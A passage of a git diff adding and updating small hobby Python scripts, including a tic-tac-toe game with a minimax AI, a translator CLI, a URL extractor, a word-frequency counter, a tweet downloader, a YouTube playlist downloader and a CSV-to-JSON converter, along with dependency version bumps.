100644 index 00000000..5977a22b --- /dev/null +++ b/TestMyInternetSpeed/requirements.txt @@ -0,0 +1 @@ +speedtest-cli \ No newline at end of file diff --git a/TicTacToe_AI_and_2_players/README.md b/TicTacToe_AI_and_2_players/README.md new file mode 100644 index 00000000..afe2e1d2 --- /dev/null +++ b/TicTacToe_AI_and_2_players/README.md @@ -0,0 +1,3 @@ +author: Omar Sameh +email: o.s.dr.who@gmail.com +no requirments enjoy! \ No newline at end of file diff --git a/TicTacToe_AI_and_2_players/Requirements.txt b/TicTacToe_AI_and_2_players/Requirements.txt new file mode 100644 index 00000000..f8a85aa4 --- /dev/null +++ b/TicTacToe_AI_and_2_players/Requirements.txt @@ -0,0 +1 @@ +None! enjoy! \ No newline at end of file diff --git a/TicTacToe_AI_and_2_players/TicTacToe2players.py b/TicTacToe_AI_and_2_players/TicTacToe2players.py new file mode 100644 index 00000000..4aac97cb --- /dev/null +++ b/TicTacToe_AI_and_2_players/TicTacToe2players.py @@ -0,0 +1,53 @@ +import random +board = [" "," "," "," "," "," "," "," "," "] +def display_board(): + print("") + print("| "+board[0]+" | "+board[1]+" | "+board[2]+" | ") + print("| "+board[3]+" | "+board[4]+" | "+board[5]+" | ") + print("| "+board[6]+" | "+board[7]+" | "+board[8]+" | ") + print("") +def wincheck(mark): + return((board[0]==mark and board[1]== mark and board[2]==mark )or #for row1 + (board[3]==mark and board[4]==mark and board[5]==mark )or + (board[6]==mark and board[7]==mark and board[8]==mark )or + (board[0]==mark and board[3]==mark and board[6]== mark )or + (board[1]==mark and board[4]==mark and board[7]==mark )or + (board[2]==mark and board[5]==mark and board[8]==mark )or + (board[0]==mark and board[4]==mark and board[8]==mark )or + (board[2]==mark and board[4]==mark and board[6]==mark )) +def make_turn(turn, pos): + if turn: + letter = "O" + else: + letter = "X" + board[pos-1] = letter + display_board() +turn = random.randint(0, 1) +#display_board() +print(""" +board alignment: + +| 1 | 2 | 3 | +| 4 | 5 | 6 | +| 7 | 8 | 9 | + +""") +while True: + if turn: + player = "O" + else: + player = "X" + pos= int(input(player + "'s turn: ")) + if board[pos-1] != " ": + print("Taken, choose another") + continue + make_turn(turn, pos) + if wincheck(player): + print(player + " wins!") + break + elif " " not in board: + print("Draw") + break + turn = not turn + print("-" * 20) +input("") diff --git a/TicTacToe_AI_and_2_players/TicTacToeAI.py b/TicTacToe_AI_and_2_players/TicTacToeAI.py new file mode 100644 index 00000000..ed0cb665 --- /dev/null +++ b/TicTacToe_AI_and_2_players/TicTacToeAI.py @@ -0,0 +1,60 @@ +import random +def wincheck(board): + score = { + "O": 1, + "X": -1 + } + for mark in ["O", "X"]: + if ((board[0]==mark and board[1]== mark and board[2]==mark )or + (board[3]==mark and board[4]==mark and board[5]==mark )or + (board[6]==mark and board[7]==mark and board[8]==mark )or + (board[0]==mark and board[3]==mark and board[6]== mark )or + (board[1]==mark and board[4]==mark and board[7]==mark )or + (board[2]==mark and board[5]==mark and board[8]==mark )or + (board[0]==mark and board[4]==mark and board[8]==mark )or + (board[2]==mark and board[4]==mark and board[6]==mark )): + return score[mark] + if " " not in board: + return 0 +depth = [0] +def bestMove(board): + if depth[0] == 1: + return random.choice([i+1 for i in range(len(board)) if board[i] == " "]) + best = float("inf") + move = 0 + if board.count(" ") in [8, 9] and board[4] == " ": + return 5 + for i in range(len(board)): + if board[i] == " ": + board[i] = "X" + Try = findBestMove(board, 1, depth[0]) + if Try < best: + best = Try + move = i + board[i] = " " + return move+1 +def findBestMove(board, maximizing, depth): + if wincheck(board) is not None: + return wincheck(board) + if depth > 0: + depth -= 1 + if maximizing == 1: + best = float("-inf") + for i in range(len(board)): + if board[i] == " ": + board[i] = "O" + Try = findBestMove(board, 0, depth) + board[i] = " " + best = max(best, Try) + return best + if maximizing == 0: + best = float("inf") + for i in range(len(board)): + if board[i] == " ": + board[i] = "X" + Try = findBestMove(board, 1, depth) + board[i] = " " + best = min(best, Try) + return best + else: + return 0 diff --git a/TicTacToe_AI_and_2_players/TicTacToeVsAI.py b/TicTacToe_AI_and_2_players/TicTacToeVsAI.py new file mode 100644 index 00000000..3fa451e7 --- /dev/null +++ b/TicTacToe_AI_and_2_players/TicTacToeVsAI.py @@ -0,0 +1,67 @@ +import random +import TicTacToeAI +depth = int(input( +"""Choose difficulty: + + Easy: 1 + Medium: 2 + Hard: 3 + +choice: """)) +print(""" +board alignment: + +| 1 | 2 | 3 | +| 4 | 5 | 6 | +| 7 | 8 | 9 | + +""") +TicTacToeAI.depth[0] = depth +board = [" "," "," "," "," "," "," "," "," "] +def display_board(): + print("") + print("| "+board[0]+" | "+board[1]+" | "+board[2]+" | ") + print("| "+board[3]+" | "+board[4]+" | "+board[5]+" | ") + print("| "+board[6]+" | "+board[7]+" | "+board[8]+" | ") + print("") +def wincheck(mark): + return((board[0]==mark and board[1]== mark and board[2]==mark )or #for row1 + (board[3]==mark and board[4]==mark and board[5]==mark )or + (board[6]==mark and board[7]==mark and board[8]==mark )or + (board[0]==mark and board[3]==mark and board[6]== mark )or + (board[1]==mark and board[4]==mark and board[7]==mark )or + (board[2]==mark and board[5]==mark and board[8]==mark )or + (board[0]==mark and board[4]==mark and board[8]==mark )or + (board[2]==mark and board[4]==mark and board[6]==mark )) +def make_turn(turn, pos): + if turn: + letter = "O" + else: + letter = "X" + board[pos-1] = letter + display_board() +turn = random.randint(0, 1) +#display_board() +while True: + if turn: + player = "O" + else: + player = "X" + if player == "O": + pos= int(input(player + "'s turn: ")) + else: + pos = TicTacToeAI.bestMove(board) + if board[pos-1] != " ": + print("Taken, choose another") + continue + make_turn(turn, pos) + if wincheck(player): + print(player + " wins!") + break + elif " " not in board: + print("Draw") + break + turn = not turn + print("-" * 20) + +input("") diff --git a/Top_News/requirements.txt b/Top_News/requirements.txt index b2f7d69b..18fe2740 100644 --- a/Top_News/requirements.txt +++ b/Top_News/requirements.txt @@ -1,2 +1,2 @@ -requests==2.24.0 +requests==2.31.0 bs4==0.0.1 \ No newline at end of file diff --git a/TranslateCLI/README.md b/TranslateCLI/README.md new file mode 100644 index 00000000..a5e7c2d8 --- /dev/null +++ b/TranslateCLI/README.md @@ -0,0 +1,14 @@ +# Python Command Line Translator +Use google translate library to translate text from command line. + +## Requirements + +Python 3.xx +googletrans +```bash +pip install googletrans + +``` + +### Usage +python Translate.py -s -d diff --git a/TranslateCLI/Translate.py b/TranslateCLI/Translate.py new file mode 100644 index 00000000..e2a0cab1 --- /dev/null +++ b/TranslateCLI/Translate.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 + +import argparse +from googletrans import Translator + +def translate(text, src_lng=None, dest_lng=None): + translator = Translator() + if src_lng and dest_lng: + translated = translator.translate(text, src=src_lng, dest=dest_lng) + elif src_lng: + translated = translator.translate(text, src=src_lng) + elif dest_lng: + translated = translator.translate(text, dest=dest_lng) + else: + translated = translator.translate(text) + + return translated + +parser = argparse.ArgumentParser() +parser.add_argument('text', type=str, help='text to translate') +parser.add_argument('-s', '--src', default=None, help='origin language of the text') +parser.add_argument('-d', '--dest', default=None, help='destiny language of the translation') +parser.add_argument('-v', '--verbose', help='show more information', action='store_true') + +args = parser.parse_args() + +tr = translate(args.text, args.src, args.dest) + +if args.verbose: + print('original text: %s' % tr.origin) + print('translated text: %s' % tr.text) + print('origin language: %s' % tr.src) + print('destiny language: %s' % tr.dest) +else: + print(tr.text) diff --git a/TranslateCLI/requirements.txt b/TranslateCLI/requirements.txt new file mode 100644 index 00000000..d98ea055 --- /dev/null +++ b/TranslateCLI/requirements.txt @@ -0,0 +1 @@ +googletrans diff --git a/Tweets_Tool/requirements.txt b/Tweets_Tool/requirements.txt index a012b029..c310915b 100644 --- a/Tweets_Tool/requirements.txt +++ b/Tweets_Tool/requirements.txt @@ -1,7 +1,7 @@ -requests==2.18.4 -urllib3==1.24.2 -requests==2.20.0 -urllib3==1.22 +requests==2.31.0 +urllib3==1.26.18 +requests==2.31.0 +urllib3==1.26.18 py4j==0.10.4 BeautifulSoup==3.2.0 -numpy==1.9.2 +numpy==1.22.0 diff --git a/Website_Url_Detector/README.md b/Website_Url_Detector/README.md new file mode 100644 index 00000000..159f8611 --- /dev/null +++ b/Website_Url_Detector/README.md @@ -0,0 +1,27 @@ +# Website URL Detector + +## Description +A python script that detects URLs on a given website. + +## Usage + +```py +>>> python detect_urls.py --website [website_url] +``` + +### Example + +```py +>>> python detect_urls.py --website https://en.wikipedia.org/wiki/Guido_van_Rossum +https://upload.wikimedia.org/wikipedia/commons/thumb/e/e2/Guido-portrait-2014-drc.jpg/1200px-Guido-portrait-2014-drc.jpg +https://creativecommons.org/licenses/by-sa/3.0/ +https://en.wikipedia.org/wiki/Guido_van_Rossum +https://gvanrossum.github.io/ +http://mail.python.org/pipermail/python-dev/2007-January/070849.html +https://web.archive.org/web/20090908131440/http://mail.python.org/pipermail/python-dev/2007-January/070849.html +http://www.computerhistory.org/atchm/2018-chm-fellow-guido-van-rossum-python-creator-benevolent-dictator-for-life/ +https://web.archive.org/web/20180724114116/http://www.computerhistory.org/atchm/2018-chm-fellow-guido-van-rossum-python-creator-benevolent-dictator-for-life/ +https://web.archive.org/web/20081031103755/http://wiki.codecall.net/Guido_van_Rossum +http://wiki.codecall.net/Guido_van_Rossum +... +``` \ No newline at end of file diff --git a/Website_Url_Detector/detect_urls.py b/Website_Url_Detector/detect_urls.py new file mode 100644 index 00000000..65ba65c0 --- /dev/null +++ b/Website_Url_Detector/detect_urls.py @@ -0,0 +1,34 @@ +import argparse +import re +import requests + + +def run(url: str) -> None: + """ + Detect all the URLs on a given website. + + :param url: the url of the website to process + :return: + """ + # Load the website's HTML. + website = requests.get(url) + html = website.text + # Detect the URLs. + URL_REGEX = r"http[s]?://(?:[a-zA-Z#]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+" + detected_urls = re.findall(URL_REGEX, html) + # Filter invalid URLs. + suffixes = "aero|asia|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|cz|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mg|mh|mk|ml|mn|mn|mo|mp|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|nom|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ra|rs|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw".split("|") + detected_urls = [x for x in detected_urls if any("."+suffix in x for suffix in suffixes)] + print("\n".join(detected_urls)) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument( + "--website", + required=True, + help="URL of a website to detect other URLs on" + ) + args = parser.parse_args() + # Detect the URLs. + run(args.website) \ No newline at end of file diff --git a/Website_Url_Detector/requirements.txt b/Website_Url_Detector/requirements.txt new file mode 100644 index 00000000..06e6673f --- /dev/null +++ b/Website_Url_Detector/requirements.txt @@ -0,0 +1,3 @@ +argparse +re +requests==2.31.0 \ No newline at end of file diff --git a/Word_Frequency_Counter/README.md b/Word_Frequency_Counter/README.md new file mode 100644 index 00000000..b9584fff --- /dev/null +++ b/Word_Frequency_Counter/README.md @@ -0,0 +1,78 @@ +# Word Frequency Counter + +## Description +A python script that counts word frequencies in a text. + +The text is pre-processed beforehand to keep only the most informative words. +Top-10 most frequent words are shown to the user. The full output is saved in a file in the same directory as the input text file. + +## Usage + +```py +>>> python count_word_freq.py --filepath [filepath] +``` + +### Example + +```py +>>> python count_word_freq.py --filepath test_file.txt +Top 10 most frequent words: +[('queen', 3), ('said', 3), ('fair', 3), ('mirror', 3), ('snow', 2), ('castle', 2), ('father', 2), ('stepmother', 2), ('upon', 1), ('time', 1)] + +Saved the word frequencies to 'test_file_freq_dist.txt' +``` + +``` +test_file.txt + +Once upon a time, a princess named Snow White lived in a castle with her father, the King, and her stepmother, the Queen. Her father had always said to his daughter that she must be fair to everyone at court. Said he, "People come here to the castle when they have a problem. They need the ruler to make a fair decision. Nothing is more important than to be fair." + +The Queen, Snow White's stepmother, knew how much this meant to her husband. At the first chance, she went to her magic mirror. "Mirror, mirror, on the wall," said the Queen. "Who is the fairest of them all?" + +``` + +``` +test_file_freq_dist.txt + +('queen', 3) +('said', 3) +('fair', 3) +('mirror', 3) +('snow', 2) +('castle', 2) +('father', 2) +('stepmother', 2) +('upon', 1) +('time', 1) +('princess', 1) +('named', 1) +('white', 1) +('lived', 1) +('king', 1) +('always', 1) +('daughter', 1) +('must', 1) +('everyone', 1) +('court', 1) +('people', 1) +('come', 1) +('problem', 1) +('need', 1) +('ruler', 1) +('make', 1) +('decision', 1) +('nothing', 1) +('important', 1) +('whites', 1) +('knew', 1) +('much', 1) +('meant', 1) +('husband', 1) +('first', 1) +('chance', 1) +('went', 1) +('magic', 1) +('wall', 1) +('fairest', 1) + +``` \ No newline at end of file diff --git a/Word_Frequency_Counter/count_word_freq.py b/Word_Frequency_Counter/count_word_freq.py new file mode 100644 index 00000000..5139ee70 --- /dev/null +++ b/Word_Frequency_Counter/count_word_freq.py @@ -0,0 +1,77 @@ +import argparse +from nltk.corpus import stopwords +from nltk.probability import FreqDist +from nltk.tokenize import word_tokenize +import re +import string + + +def preprocess(text: str) -> str: + """ + Pre-process the input text. + + - Remove punctuation + - Remove numbers + - Lowercase + + :param text: text to pre-process + :return: the pre-processed text + """ + # Lowercase. + text = text.lower() + # Remove numbers. + text = re.sub(r"[0-9]+", "", text) + # Remove punctuation. + text = text.translate(str.maketrans("", "", string.punctuation)) + return text + + +def run(text: str) -> FreqDist: + """ + Count the word frequencies in a text. + + The text is pre-processed beforehand to remove uninformative + tokens such as punctuation, numbers, stopwords, and to unify + the same tokens by lowercasing the text. + + :param text: text to count the word frequencies in + :return: the word frequencies in the text + """ + # Pre-process the text. + text = preprocess(text) + # Tokenize the text. + tokens = word_tokenize(text) + # Remove stopwords. + stop_words = set(stopwords.words("english")) + tokens = [token for token in tokens if token not in stop_words] + # Count the frequencies. + freq_dist = FreqDist(tokens) + print("Top 10 most frequent words:") + print(freq_dist.most_common(10)) + return freq_dist + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument( + "--filepath", + "-f", + required=True, + help="path to the text file" + ) + args = parser.parse_args() + # Open the text file. + with open(args.filepath, "r") as f: + text = f.read() + # Count the frequencies. + freq_dist = run(text) + freq_dist_str = "\n".join([str(x) for x in freq_dist.most_common(freq_dist.B())]) + # Save the result. + old_file_name = args.filepath.split("/")[-1].split(".")[0] + new_file_name = old_file_name + "_freq_dist" + new_filepath = args.filepath.replace(old_file_name, new_file_name) + with open(new_filepath, "w") as f: + f.write(freq_dist_str) + print(f"\nSaved the word frequencies to '{new_filepath}'") + + diff --git a/Word_Frequency_Counter/requirements.txt b/Word_Frequency_Counter/requirements.txt new file mode 100644 index 00000000..9a98981f --- /dev/null +++ b/Word_Frequency_Counter/requirements.txt @@ -0,0 +1,4 @@ +argparse +nltk==3.4.5 +re +string \ No newline at end of file diff --git a/Word_Frequency_Counter/test_file.txt b/Word_Frequency_Counter/test_file.txt new file mode 100644 index 00000000..f624d7c6 --- /dev/null +++ b/Word_Frequency_Counter/test_file.txt @@ -0,0 +1,3 @@ +Once upon a time, a princess named Snow White lived in a castle with her father, the King, and her stepmother, the Queen. Her father had always said to his daughter that she must be fair to everyone at court. Said he, "People come here to the castle when they have a problem. They need the ruler to make a fair decision. Nothing is more important than to be fair." + +The Queen, Snow White's stepmother, knew how much this meant to her husband. At the first chance, she went to her magic mirror. "Mirror, mirror, on the wall," said the Queen. "Who is the fairest of them all?" \ No newline at end of file diff --git a/Word_Frequency_Counter/test_file_freq_dist.txt b/Word_Frequency_Counter/test_file_freq_dist.txt new file mode 100644 index 00000000..b9517c6e --- /dev/null +++ b/Word_Frequency_Counter/test_file_freq_dist.txt @@ -0,0 +1,40 @@ +('queen', 3) +('said', 3) +('fair', 3) +('mirror', 3) +('snow', 2) +('castle', 2) +('father', 2) +('stepmother', 2) +('upon', 1) +('time', 1) +('princess', 1) +('named', 1) +('white', 1) +('lived', 1) +('king', 1) +('always', 1) +('daughter', 1) +('must', 1) +('everyone', 1) +('court', 1) +('people', 1) +('come', 1) +('problem', 1) +('need', 1) +('ruler', 1) +('make', 1) +('decision', 1) +('nothing', 1) +('important', 1) +('whites', 1) +('knew', 1) +('much', 1) +('meant', 1) +('husband', 1) +('first', 1) +('chance', 1) +('went', 1) +('magic', 1) +('wall', 1) +('fairest', 1) \ No newline at end of file diff --git a/X_Scrapper/README.md b/X_Scrapper/README.md new file mode 100644 index 00000000..a50d00d3 --- /dev/null +++ b/X_Scrapper/README.md @@ -0,0 +1,22 @@ +# X Scrapper +Use to scrape the tweets from given username (including the metadata of the tweet - location of user, views, likes etc.) using `tweepy`. + +## Use case +1. To analyze the (sentiment trend of the given user)[https://github.com/iamshreeram/twitter-senti-analyzer] over the period of time (on given topic or anything) +2. Further analysis of user behaviour using geo-location, time of tweets, + +### Requirements + +Python 3.xx +tweepy +```bash +pip install tweepy + +``` + +### Usage +python main.py + + +### Note : +1. This requires you to have the consumer key, consumer secret, access key and access secret from your x.com account diff --git a/X_Scrapper/requirements.txt b/X_Scrapper/requirements.txt new file mode 100644 index 00000000..e805b74f --- /dev/null +++ b/X_Scrapper/requirements.txt @@ -0,0 +1 @@ +tweepy==4.3.0 diff --git a/X_Scrapper/x_scraper.py b/X_Scrapper/x_scraper.py new file mode 100644 index 00000000..692e6cc9 --- /dev/null +++ b/X_Scrapper/x_scraper.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python +# encoding: utf-8 + +import sys +try: + import tweepy #https://github.com/tweepy/tweepy +except ImportError: + print("You'll need tweepy instaled on your system.") + sys.exit() +try: + import csv +except ImportError: + print("You'll need the python csv module instaled on your system.") + sys.exit() + +consumer_key = "xxx" +consumer_secret = "yyy" +access_key = "aa-zzzz" +access_secret = "bbb" + +def get_all_tweets(screen_name): + + if (consumer_key == ""): + print("You need to set up the script first. Edit it and add your keys.") + return + + #Twitter only allows access to a users most recent 3240 tweets with this method + + #authorize x, initialize tweepy + auth = tweepy.OAuthHandler(consumer_key, consumer_secret) + auth.set_access_token(access_key, access_secret) + api = tweepy.API(auth) + + #initialize a list to hold all the tweepy Tweets + alltweets = [] + + #make initial request for most recent tweets (200 is the maximum allowed count) + new_tweets = api.user_timeline(screen_name = screen_name,count=200) + + #save most recent tweets + alltweets.extend(new_tweets) + + #save the id of the oldest tweet less one + oldest = alltweets[-1].id - 1 + + #keep grabbing tweets until there are no tweets left to grab + while len(new_tweets) > 0: + print("getting tweets before %s" % (oldest)) + + #all subsiquent requests use the max_id param to prevent duplicates + new_tweets = api.user_timeline(screen_name = screen_name,count=200,max_id=oldest) + + #save most recent tweets + alltweets.extend(new_tweets) + + #update the id of the oldest tweet less one + oldest = alltweets[-1].id - 1 + + print("...%s tweets downloaded so far" % (len(alltweets))) + + #transform the tweepy tweets into a 2D array that will populate the csv + outtweets = [[tweet.id_str, tweet.created_at, tweet.text] for tweet in alltweets] + + #write the csv + with open('%s_tweets.csv' % screen_name, 'w') as f: + writer = csv.writer(f) + writer.writerow(["id","created_at","text"]) + writer.writerows(outtweets) + + pass + + +if __name__ == '__main__': + if (len(sys.argv) == 2): + get_all_tweets(sys.argv[1]) + else: + print("Please add the x account you want to back up as an argument.") diff --git a/Youtube_Video_Downloader/download_video.py b/Youtube_Video_Downloader/download_video.py index b6fd6dfc..85384abc 100644 --- a/Youtube_Video_Downloader/download_video.py +++ b/Youtube_Video_Downloader/download_video.py @@ -1,11 +1,86 @@ -from pytube import YouTube -link = input('link to youtube video: ') -yt = Youtube(link) -yt.streams.first().download() -print('downloaded', link) - +import os +import string +from pytube import Playlist, YouTube +from moviepy.editor import AudioFileClip +def MP4ToMP3(mp4, mp3): + FILETOCONVERT = AudioFileClip(mp4) + FILETOCONVERT.write_audiofile(mp3) + FILETOCONVERT.close() +def download_youtube_video(url, folder_path, quality, media_type,j): + # Create a YouTube object + yt = YouTube(url) + # Remove invalid characters from the title + valid_chars = "-_.() %s%s" % (string.ascii_letters, string.digits) + title = ''.join(c for c in yt.title if c in valid_chars) + # Get the streams based on the media type + if media_type == 'audio': + audio_stream = yt.streams.get_audio_only() + # Check if the stream is not None + if audio_stream is not None: + # Download the stream + try: + print(f"Downloading...") + audio_stream.download(output_path=folder_path, filename="temp_file.mp4") + print(f"Download completed!") + input_file = os.path.join(folder_path, f"temp_file.mp4") + output_file = os.path.join(folder_path, f"{title}.mp3") + print("Converting to mp3...") + MP4ToMP3(input_file, output_file) + print("Conversion completed!") + + os.rename(output_file,f'{folder_path}\{title}.mp3') + os.remove(input_file) + + except Exception as e: + print(e) + else: + print("No audio stream was found.") + + else: + streams = yt.streams.filter(progressive=True) + + # Get the stream based on the quality + stream = streams.filter(resolution=quality).first() + + # Check if the stream is not None + if stream is not None: + # Download the stream + print(f"Downloading...") + stream.download(output_path=folder_path) + print(f"Download completed!") + else: + print(f"No stream with quality {quality} was found.") + +def download_youtube_playlist(playlist_url,folder_path,quality,media_type): + try: + playlist = Playlist(playlist_url) + i = 0 + for url in playlist: + video_title = YouTube(url).title + video_size = YouTube(url).streams.filter(resolution=quality).first().filesize/(1024*1024) + print(f"Video title: {video_title} \nVideo size: {'%.2f' % video_size} MB") + download_youtube_video(url,folder_path,quality,media_type,i) + print("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++") + i += 1 + except Exception as e: + print(e) + +playlist_url = input('Enter the URL of the YouTube playlist: ') +folder_path = input('Enter the path of the folder where you want to save the videos: ') +media_type = input('Enter the media type (audio or video): ') +if media_type == 'video': + quality = input('Enter the quality of the video (e.g. 720p, 1080p): ') +else: + quality = None + +# Create the folder if it doesn't exist +if not os.path.exists(folder_path): + os.makedirs(folder_path) + +# Download the playlist +download_youtube_playlist(playlist_url,folder_path,quality,media_type) diff --git a/automated_calendar/automated_calendar.py b/automated_calendar/automated_calendar.py new file mode 100644 index 00000000..5d64ac02 --- /dev/null +++ b/automated_calendar/automated_calendar.py @@ -0,0 +1,20 @@ +''' +THIS CODE CREATES FOLDERS FOR EACH FY OF OUR COMPANY, WHERE WE COULD +FIND 12 OTHER FOLDERS NAMED AFTER EACH MONTH OF THE YEAR. +''' + +#Import modules and libraries we'll use +from pathlib import Path + +#Create the folders where we'll store our automated calendar +months =['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', + 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'] + +for i,month in enumerate(months): + Path(f'Year1/{i+1}.{month}').mkdir(parents=True,exist_ok=True) + Path(f'Year2/{i+1}.{month}').mkdir(parents=True,exist_ok=True) + Path(f'Year3/{i+1}.{month}').mkdir(parents=True,exist_ok=True) + Path(f'Year4/{i+1}.{month}').mkdir(parents=True,exist_ok=True) + + + diff --git a/automated_calendar/requirements.txt b/automated_calendar/requirements.txt new file mode 100644 index 00000000..a6691993 --- /dev/null +++ b/automated_calendar/requirements.txt @@ -0,0 +1 @@ +pkg-resources==0.0.0 diff --git a/caesar_cipher/README.md b/caesar_cipher/README.md new file mode 100644 index 00000000..7a2debc8 --- /dev/null +++ b/caesar_cipher/README.md @@ -0,0 +1,27 @@ +# Simple caesar Cipher [En,De]coder + +A simple implementation of a CLI tool to work with caesar ciphers. The default implementation is ROT-13, but can be +adjusted for any offset. Works on files and string arguments passed via CLI. + +```bash +python3 caesar.py + +usage: caesar.py [-h] [-d] [-o OFFSET] (-f FILE | -s STRING) +caesar.py: error: one of the arguments -f/--file -s/--string is required +``` + +```bash +python3 caesar.py -s "have you tried turning it off and on again?" +unir lbh gevrq gheavat vg bss naq ba ntnva? +``` + +```bash +python3 caesar.py -d -s "unir lbh gevrq gheavat vg bss naq ba ntnva?" +have you tried turning it off and on again? +``` + +```bash +python3 caesar.py -s "have you tried turning it off and on again?" -o -4 +dwra ukq pneaz pqnjejc ep kbb wjz kj wcwej? +``` + diff --git a/caeser_cipher/caeser.py b/caesar_cipher/caesar.py similarity index 90% rename from caeser_cipher/caeser.py rename to caesar_cipher/caesar.py index 8f6a523c..40047cff 100755 --- a/caeser_cipher/caeser.py +++ b/caesar_cipher/caesar.py @@ -9,8 +9,8 @@ maketrans = str.maketrans # python3 -def caeser_cipher(string_: str, offset: int, decode: bool, file_: string) -> None: - """ Caeser Cipher implementation, reads file or string. Also decodes. +def caesar_cipher(string_: str, offset: int, decode: bool, file_: string) -> None: + """ caesar Cipher implementation, reads file or string. Also decodes. Default implementation is ROT13 encoding. @@ -59,7 +59,7 @@ def check_offset_range(value: int) -> int: if __name__ == '__main__': - parser = argparse.ArgumentParser(description="Simple Caeser Cipher [En,De]coder") + parser = argparse.ArgumentParser(description="Simple caesar Cipher [En,De]coder") parser.add_argument('-d', '--decode', action='store_true', dest='decode', help='decode ciphertext (offset should equal what was used to encode)', default=False) @@ -72,4 +72,4 @@ def check_offset_range(value: int) -> int: args = parser.parse_args() - caeser_cipher(args.string, args.offset, args.decode, args.file) + caesar_cipher(args.string, args.offset, args.decode, args.file) diff --git a/caeser_cipher/README.md b/caeser_cipher/README.md deleted file mode 100644 index 86fef4f9..00000000 --- a/caeser_cipher/README.md +++ /dev/null @@ -1,27 +0,0 @@ -# Simple Caeser Cipher [En,De]coder - -A simple implementation of a CLI tool to work with caeser ciphers. The default implementation is ROT-13, but can be -adjusted for any offset. Works on files and string arguments passed via CLI. - -```bash -python3 caeser.py - -usage: caeser.py [-h] [-d] [-o OFFSET] (-f FILE | -s STRING) -caeser.py: error: one of the arguments -f/--file -s/--string is required -``` - -```bash -python3 caeser.py -s "have you tried turning it off and on again?" -unir lbh gevrq gheavat vg bss naq ba ntnva? -``` - -```bash -python3 caeser.py -d -s "unir lbh gevrq gheavat vg bss naq ba ntnva?" -have you tried turning it off and on again? -``` - -```bash -python3 caeser.py -s "have you tried turning it off and on again?" -o -4 -dwra ukq pneaz pqnjejc ep kbb wjz kj wcwej? -``` - diff --git a/codeforcesChecker/requirements.txt b/codeforcesChecker/requirements.txt index 536cdce2..c901bcd1 100644 --- a/codeforcesChecker/requirements.txt +++ b/codeforcesChecker/requirements.txt @@ -1,6 +1,6 @@ beautifulsoup4==4.8.1 chromedriver-binary==81.0.4044.69.0 colorama==0.4.3 -requests==2.22.0 +requests==2.31.0 selenium==3.141.0 termcolor==1.1.0 \ No newline at end of file diff --git a/csv_to_json/README.md b/csv_to_json/README.md new file mode 100644 index 00000000..5a140499 --- /dev/null +++ b/csv_to_json/README.md @@ -0,0 +1,11 @@ +# CSV to JSON Converter +A python script that converts the csv file into json + +## CLI interface +![image](https://github.com/hastagAB/Awesome-Python-Scripts/blob/master/csv_to_json/img/CLI.jpg) + +## Files +before
+![before](https://github.com/hastagAB/Awesome-Python-Scripts/blob/master/csv_to_json/img/before.jpg)
+After
+![after](https://github.com/hastagAB/Awesome-Python-Scripts/blob/master/csv_to_json/img/after.jpg) diff --git a/csv_to_json/convert.py b/csv_to_json/convert.py new file mode 100644 index 00000000..20899d87 --- /dev/null +++ b/csv_to_json/convert.py @@ -0,0 +1,32 @@ +import csv +import json + +file_name = input("Provide the CSV filename without extension>> ") + +try: + + with open(file_name+'.csv') as f: + + reader = csv.reader(f, delimiter=',') + titles = [] + temp_data = {} + + for heading in reader: + titles = heading + break + + i = 1 + for row in reader: + current_row = "row{}".format(i) + temp_data['{}'.format(current_row)] = {} + for col in range(len(titles)): + temp_data[current_row][titles[col]] = row[col] + i+=1 + + with open(file_name+'.json', 'w') as f_j: + json.dump(temp_data, f_j, indent=4) + +except: + print("Please provide correct filename") + +print("File converted successfully :)") \ No newline at end of file diff --git a/csv_to_json/img/CLI.jpg b/csv_to_json/img/CLI.jpg new file mode 100644 index 00000000..c13467ac Binary files /dev/null and b/csv_to_json/img/CLI.jpg differ diff --git a/csv_to_json/img/after.jpg b/csv_to_json/img/after.jpg new file mode 100644 index 00000000..632e229f Binary files /dev/null and b/csv_to_json/img/after.jpg differ diff --git a/csv_to_json/img/before.jpg b/csv_to_json/img/before.jpg new file mode 100644 index 00000000..a498d6d9 Binary files /dev/null and b/csv_to_json/img/before.jpg differ diff --git a/csv_to_json/requirements.txt b/csv_to_json/requirements.txt new file mode 100644 index 00000000..fb1b0b37 --- /dev/null +++ b/csv_to_json/requirements.txt @@ -0,0 +1,2 @@ +csv +json \ No newline at end of file diff --git a/elastic-snapshot/README.md b/elastic-snapshot/README.md new file mode 100644 index 00000000..b940b053 --- /dev/null +++ b/elastic-snapshot/README.md @@ -0,0 +1,31 @@ +### elastic-snapshot.py +This python3 script helps create snapshots in an elasticsearch cluster. Setting up elasticsearch and creating a snapshot repository are covered in the [elasticsearch 